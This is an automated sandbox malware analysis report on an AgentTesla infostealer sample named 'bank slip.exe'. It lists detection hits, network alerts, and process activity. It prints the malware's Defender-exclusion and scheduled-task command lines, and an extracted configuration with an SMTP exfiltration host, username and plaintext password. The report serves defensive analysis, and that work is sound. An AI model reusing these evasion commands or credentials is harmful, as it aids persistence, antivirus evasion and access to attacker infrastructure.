Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\mKSjGvfmIulVB" /XML "C:\Users\user\AppData\Local\Temp\tmp2859.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\mKSjGvfmIulVB" /XML "C:\Users\user\AppData\Local\Temp\tmp2859.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\bank slip.exe", ParentImage: C:\Users\user\Desktop\bank slip.exe, ParentProcessId: 6756, ParentProcessName: bank slip.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\mKSjGvfmIulVB" /XML "C:\Users\user\AppData\Local\Temp\tmp2859.tmp", ProcessId: 3856, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\bank slip.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\bank slip.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\bank slip.exe", ParentImage: C:\Users\user\Desktop\bank slip.exe, ParentProcessId: 6756, ParentProcessName: bank slip.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\bank slip.exe", ProcessId: 5016, ProcessName: powershell.exe

Persistence and Installation Behavior

Sigma detected: Scheduled temp file as task from temp location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\mKSjGvfmIulVB" /XML "C:\Users\user\AppData\Local\Temp\tmp2859.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\mKSjGvfmIulVB" /XML "C:\Users\user\AppData\Local\Temp\tmp2859.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\bank slip.exe", ParentImage: C:\Users\user\Desktop\bank slip.exe, ParentProcessId: 6756, ParentProcessName: bank slip.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\mKSjGvfmIulVB" /XML "C:\Users\user\AppData\Local\Temp\tmp2859.tmp", ProcessId: 3856, ProcessName: schtasks.exe

Snort Signatures

ET TROJAN AgentTesla Exfil Via SMTP - Source IP: 192.168.2.5 - Destination IP: 111.118.215.27

Timestamp:	05/06/24-08:13:10.302990
SID:	2030171
Source Port:	49712
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla Telegram Exfil - Source IP: 192.168.2.5 - Destination IP: 111.118.215.27

Timestamp:	05/06/24-08:12:59.940556
SID:	2851779
Source Port:	49710
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN AgentTesla Exfil Via SMTP - Source IP: 192.168.2.5 - Destination IP: 111.118.215.27

Timestamp:	05/06/24-08:12:59.940511
SID:	2030171
Source Port:	49710
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla CnC Exfil Activity - Source IP: 192.168.2.5 - Destination IP: 111.118.215.27

Timestamp:	05/06/24-08:13:10.303039
SID:	2855542
Source Port:	49712
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla Exfil via SMTP - Source IP: 192.168.2.5 - Destination IP: 111.118.215.27

Timestamp:	05/06/24-08:13:10.303039
SID:	2855245
Source Port:	49712
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla Telegram Exfil - Source IP: 192.168.2.5 - Destination IP: 111.118.215.27

Timestamp:	05/06/24-08:13:10.303039
SID:	2851779
Source Port:	49712
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.5 - Destination IP: 111.118.215.27

Timestamp:	05/06/24-08:13:10.303039
SID:	2840032
Source Port:	49712
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/Agent Tesla SMTP Activity - Source IP: 192.168.2.5 - Destination IP: 111.118.215.27

Timestamp:	05/06/24-08:12:59.940511
SID:	2839723
Source Port:	49710
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.5 - Destination IP: 111.118.215.27

Timestamp:	05/06/24-08:12:59.940556
SID:	2840032
Source Port:	49710
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla CnC Exfil Activity - Source IP: 192.168.2.5 - Destination IP: 111.118.215.27

Timestamp:	05/06/24-08:12:59.940556
SID:	2855542
Source Port:	49710
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla Exfil via SMTP - Source IP: 192.168.2.5 - Destination IP: 111.118.215.27

Timestamp:	05/06/24-08:12:59.940556
SID:	2855245
Source Port:	49710
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/Agent Tesla SMTP Activity - Source IP: 192.168.2.5 - Destination IP: 111.118.215.27

Timestamp:	05/06/24-08:13:10.302990
SID:	2839723
Source Port:	49712
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 11.2.mKSjGvfmIulVB.exe.4318670.6.raw.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.vw-rmplcars.co.in", "Username": "account.sw@vw-rmplcars.co.in", "Password": "Gagan#456"}

Multi AV Scanner detection for domain / URL

Source: vw-rmplcars.co.in	Virustotal: Detection: 10%			Perma Link
Source: http://vw-rmplcars.co.in	Virustotal: Detection: 10%			Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	ReversingLabs: Detection: 23%
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Virustotal: Detection: 38%			Perma Link

Multi AV Scanner detection for submitted file

Source: bank slip.exe	ReversingLabs: Detection: 23%
Source: bank slip.exe	Virustotal: Detection: 33%			Perma Link

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: bank slip.exe

Joe Sandbox ML: detected

Source: bank slip.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: bank slip.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: NjBW.pdb source: bank slip.exe, mKSjGvfmIulVB.exe.0.dr
Source:	Binary string: RegSvcs.pdb, source: GUIVTme.exe, 0000000F.00000000.2169045059.0000000000EC2000.00000002.00000001.01000000.0000000D.sdmp, GUIVTme.exe.9.dr
Source:	Binary string: NjBW.pdbSHA256 source: bank slip.exe, mKSjGvfmIulVB.exe.0.dr
Source:	Binary string: RegSvcs.pdb source: GUIVTme.exe, 0000000F.00000000.2169045059.0000000000EC2000.00000002.00000001.01000000.0000000D.sdmp, GUIVTme.exe.9.dr

Source: C:\Users\user\Desktop\bank slip.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	0_2_06A10125
Source: C:\Users\user\Desktop\bank slip.exe	Code function: 4x nop then jmp 06A13F4Ah	0_2_06A13556
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Code function: 4x nop then jmp 076231BAh	11_2_076227C6
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	11_2_07620125

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2855542 ETPRO TROJAN Agent Tesla CnC Exfil Activity 192.168.2.5:49710 -> 111.118.215.27:587
Source: Traffic	Snort IDS: 2855245 ETPRO TROJAN Agent Tesla Exfil via SMTP 192.168.2.5:49710 -> 111.118.215.27:587
Source: Traffic	Snort IDS: 2851779 ETPRO TROJAN Agent Tesla Telegram Exfil 192.168.2.5:49710 -> 111.118.215.27:587
Source: Traffic	Snort IDS: 2840032 ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 192.168.2.5:49710 -> 111.118.215.27:587
Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.5:49710 -> 111.118.215.27:587
Source: Traffic	Snort IDS: 2839723 ETPRO TROJAN Win32/Agent Tesla SMTP Activity 192.168.2.5:49710 -> 111.118.215.27:587
Source: Traffic	Snort IDS: 2855542 ETPRO TROJAN Agent Tesla CnC Exfil Activity 192.168.2.5:49712 -> 111.118.215.27:587
Source: Traffic	Snort IDS: 2855245 ETPRO TROJAN Agent Tesla Exfil via SMTP 192.168.2.5:49712 -> 111.118.215.27:587
Source: Traffic	Snort IDS: 2851779 ETPRO TROJAN Agent Tesla Telegram Exfil 192.168.2.5:49712 -> 111.118.215.27:587
Source: Traffic	Snort IDS: 2840032 ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 192.168.2.5:49712 -> 111.118.215.27:587
Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.5:49712 -> 111.118.215.27:587
Source: Traffic	Snort IDS: 2839723 ETPRO TROJAN Win32/Agent Tesla SMTP Activity 192.168.2.5:49712 -> 111.118.215.27:587

Yara detected Generic Downloader

Source: Yara match	File source: 0.2.bank slip.exe.38d7bb8.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.bank slip.exe.389c998.7.raw.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.5:49710 -> 111.118.215.27:587

Source: Joe Sandbox View

IP Address: 111.118.215.27 111.118.215.27

Source: Joe Sandbox View

ASN Name: PUBLIC-DOMAIN-REGISTRYUS PUBLIC-DOMAIN-REGISTRYUS

Source: global traffic

TCP traffic: 192.168.2.5:49710 -> 111.118.215.27:587

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: mail.vw-rmplcars.co.in

Source: bank slip.exe, mKSjGvfmIulVB.exe.0.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: bank slip.exe, mKSjGvfmIulVB.exe.0.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: RegSvcs.exe, 00000009.00000002.2091471993.000000000304A000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.3246056841.000000000309A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.vw-rmplcars.co.in
Source: bank slip.exe, mKSjGvfmIulVB.exe.0.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: bank slip.exe, 00000000.00000002.2071630541.00000000025C1000.00000004.00000800.00020000.00000000.sdmp, mKSjGvfmIulVB.exe, 0000000B.00000002.2121255868.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RegSvcs.exe, 00000009.00000002.2091471993.000000000304A000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.3246056841.000000000309A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://vw-rmplcars.co.in
Source: bank slip.exe, 00000000.00000002.2072649003.000000000389C000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000009.00000002.2088618533.0000000000402000.00000040.00000400.00020000.00000000.sdmp, mKSjGvfmIulVB.exe, 0000000B.00000002.2126436227.00000000042DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: bank slip.exe, mKSjGvfmIulVB.exe.0.dr	String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/0

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.bank slip.exe.389c998.7.raw.unpack, xljC6U.cs	.Net Code: vThHZOOISq
Source: 0.2.bank slip.exe.38d7bb8.6.raw.unpack, xljC6U.cs	.Net Code: vThHZOOISq

System Summary

Malicious sample detected (through community Yara rule)

Source: 9.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.bank slip.exe.389c998.7.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 11.2.mKSjGvfmIulVB.exe.4318670.6.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 11.2.mKSjGvfmIulVB.exe.42dd450.5.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.bank slip.exe.38d7bb8.6.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 11.2.mKSjGvfmIulVB.exe.4318670.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 11.2.mKSjGvfmIulVB.exe.42dd450.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.bank slip.exe.38d7bb8.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.bank slip.exe.389c998.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

Source: C:\Users\user\Desktop\bank slip.exe	Code function: 0_2_0259E47C	0_2_0259E47C
Source: C:\Users\user\Desktop\bank slip.exe	Code function: 0_2_04BA7C98	0_2_04BA7C98
Source: C:\Users\user\Desktop\bank slip.exe	Code function: 0_2_04BA7C70	0_2_04BA7C70
Source: C:\Users\user\Desktop\bank slip.exe	Code function: 0_2_04BA0920	0_2_04BA0920
Source: C:\Users\user\Desktop\bank slip.exe	Code function: 0_2_04BA0910	0_2_04BA0910
Source: C:\Users\user\Desktop\bank slip.exe	Code function: 0_2_068A6A00	0_2_068A6A00
Source: C:\Users\user\Desktop\bank slip.exe	Code function: 0_2_068AAB60	0_2_068AAB60
Source: C:\Users\user\Desktop\bank slip.exe	Code function: 0_2_068A003F	0_2_068A003F
Source: C:\Users\user\Desktop\bank slip.exe	Code function: 0_2_068A0040	0_2_068A0040
Source: C:\Users\user\Desktop\bank slip.exe	Code function: 0_2_068AC190	0_2_068AC190
Source: C:\Users\user\Desktop\bank slip.exe	Code function: 0_2_06A147B8	0_2_06A147B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_012CA3E8	9_2_012CA3E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_012CD780	9_2_012CD780
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_012C9810	9_2_012C9810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_012C4AC8	9_2_012C4AC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_012C3EB0	9_2_012C3EB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_012C41F8	9_2_012C41F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_06393278	9_2_06393278
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_06394288	9_2_06394288
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0639E030	9_2_0639E030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0639C020	9_2_0639C020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_06390040	9_2_06390040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_06398EC0	9_2_06398EC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_06395A10	9_2_06395A10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_06395330	9_2_06395330
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_06393990	9_2_06393990
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Code function: 11_2_0544E47C	11_2_0544E47C
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Code function: 11_2_074BAB60	11_2_074BAB60
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Code function: 11_2_074B6A00	11_2_074B6A00
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Code function: 11_2_074BC190	11_2_074BC190
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Code function: 11_2_074B0040	11_2_074B0040
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Code function: 11_2_074B0006	11_2_074B0006
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Code function: 11_2_07623A20	11_2_07623A20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_02E7A3E0	14_2_02E7A3E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_02E741F8	14_2_02E741F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_02E7D778	14_2_02E7D778
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_02E74AC8	14_2_02E74AC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_02E73EB0	14_2_02E73EB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_05CD8EB3	14_2_05CD8EB3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_05CDC020	14_2_05CDC020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_05CDE020	14_2_05CDE020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_05CD0D38	14_2_05CD0D38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_05CD5330	14_2_05CD5330
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_05CD5A10	14_2_05CD5A10

Source: bank slip.exe

Static PE information: invalid certificate

Source: bank slip.exe, 00000000.00000002.2075170107.0000000006A80000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs bank slip.exe
Source: bank slip.exe, 00000000.00000002.2071630541.00000000025C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename922eeda8-5113-4aeb-9b31-a4e56d848d57.exe4 vs bank slip.exe
Source: bank slip.exe, 00000000.00000000.1982387453.0000000000262000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameNjBW.exe( vs bank slip.exe
Source: bank slip.exe, 00000000.00000002.2072649003.000000000389C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename922eeda8-5113-4aeb-9b31-a4e56d848d57.exe4 vs bank slip.exe
Source: bank slip.exe, 00000000.00000002.2072649003.000000000389C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs bank slip.exe
Source: bank slip.exe, 00000000.00000002.2046567402.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs bank slip.exe
Source: bank slip.exe, 00000000.00000002.2076413089.0000000009869000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameNjBW.exe( vs bank slip.exe
Source: bank slip.exe	Binary or memory string: OriginalFilenameNjBW.exe( vs bank slip.exe

Source: bank slip.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 9.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.bank slip.exe.389c998.7.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 11.2.mKSjGvfmIulVB.exe.4318670.6.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 11.2.mKSjGvfmIulVB.exe.42dd450.5.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.bank slip.exe.38d7bb8.6.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 11.2.mKSjGvfmIulVB.exe.4318670.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 11.2.mKSjGvfmIulVB.exe.42dd450.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.bank slip.exe.38d7bb8.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.bank slip.exe.389c998.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: bank slip.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: mKSjGvfmIulVB.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.bank slip.exe.5140000.8.raw.unpack, -.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.bank slip.exe.5140000.8.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.bank slip.exe.5140000.8.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.bank slip.exe.389c998.7.raw.unpack, 9O2OLI.cs	Cryptographic APIs: 'CreateDecryptor', 'TransformBlock'
Source: 0.2.bank slip.exe.389c998.7.raw.unpack, hdYUG.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.bank slip.exe.389c998.7.raw.unpack, LGBZ4N2f.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.bank slip.exe.389c998.7.raw.unpack, F8OmG.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.bank slip.exe.389c998.7.raw.unpack, Bgo.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.bank slip.exe.39b1e08.5.raw.unpack, sfsXZwXfvR3dieCKhH.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.bank slip.exe.39b1e08.5.raw.unpack, RYNQdoLFBlDdX1Oj8U.cs	Security API names: _0020.SetAccessControl
Source: 0.2.bank slip.exe.39b1e08.5.raw.unpack, RYNQdoLFBlDdX1Oj8U.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.bank slip.exe.39b1e08.5.raw.unpack, RYNQdoLFBlDdX1Oj8U.cs	Security API names: _0020.AddAccessRule
Source: 0.2.bank slip.exe.6a80000.11.raw.unpack, sfsXZwXfvR3dieCKhH.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.bank slip.exe.6a80000.11.raw.unpack, RYNQdoLFBlDdX1Oj8U.cs	Security API names: _0020.SetAccessControl
Source: 0.2.bank slip.exe.6a80000.11.raw.unpack, RYNQdoLFBlDdX1Oj8U.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.bank slip.exe.6a80000.11.raw.unpack, RYNQdoLFBlDdX1Oj8U.cs	Security API names: _0020.AddAccessRule

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@23/19@1/1

Source: C:\Users\user\Desktop\bank slip.exe

File created: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe

Jump to behavior

Source: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7648:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4832:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8104:120:WilError_03
Source: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	Mutant created: \Sessions\1\BaseNamedObjects\EdtZvPE
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6092:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3092:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7872:120:WilError_03

Source: C:\Users\user\Desktop\bank slip.exe

File created: C:\Users\user\AppData\Local\Temp\tmp2859.tmp

Jump to behavior

Source: bank slip.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: bank slip.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\bank slip.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\bank slip.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: bank slip.exe	ReversingLabs: Detection: 23%
Source: bank slip.exe	Virustotal: Detection: 33%

Source: C:\Users\user\Desktop\bank slip.exe

File read: C:\Users\user\Desktop\bank slip.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\bank slip.exe "C:\Users\user\Desktop\bank slip.exe"
Source: C:\Users\user\Desktop\bank slip.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\bank slip.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
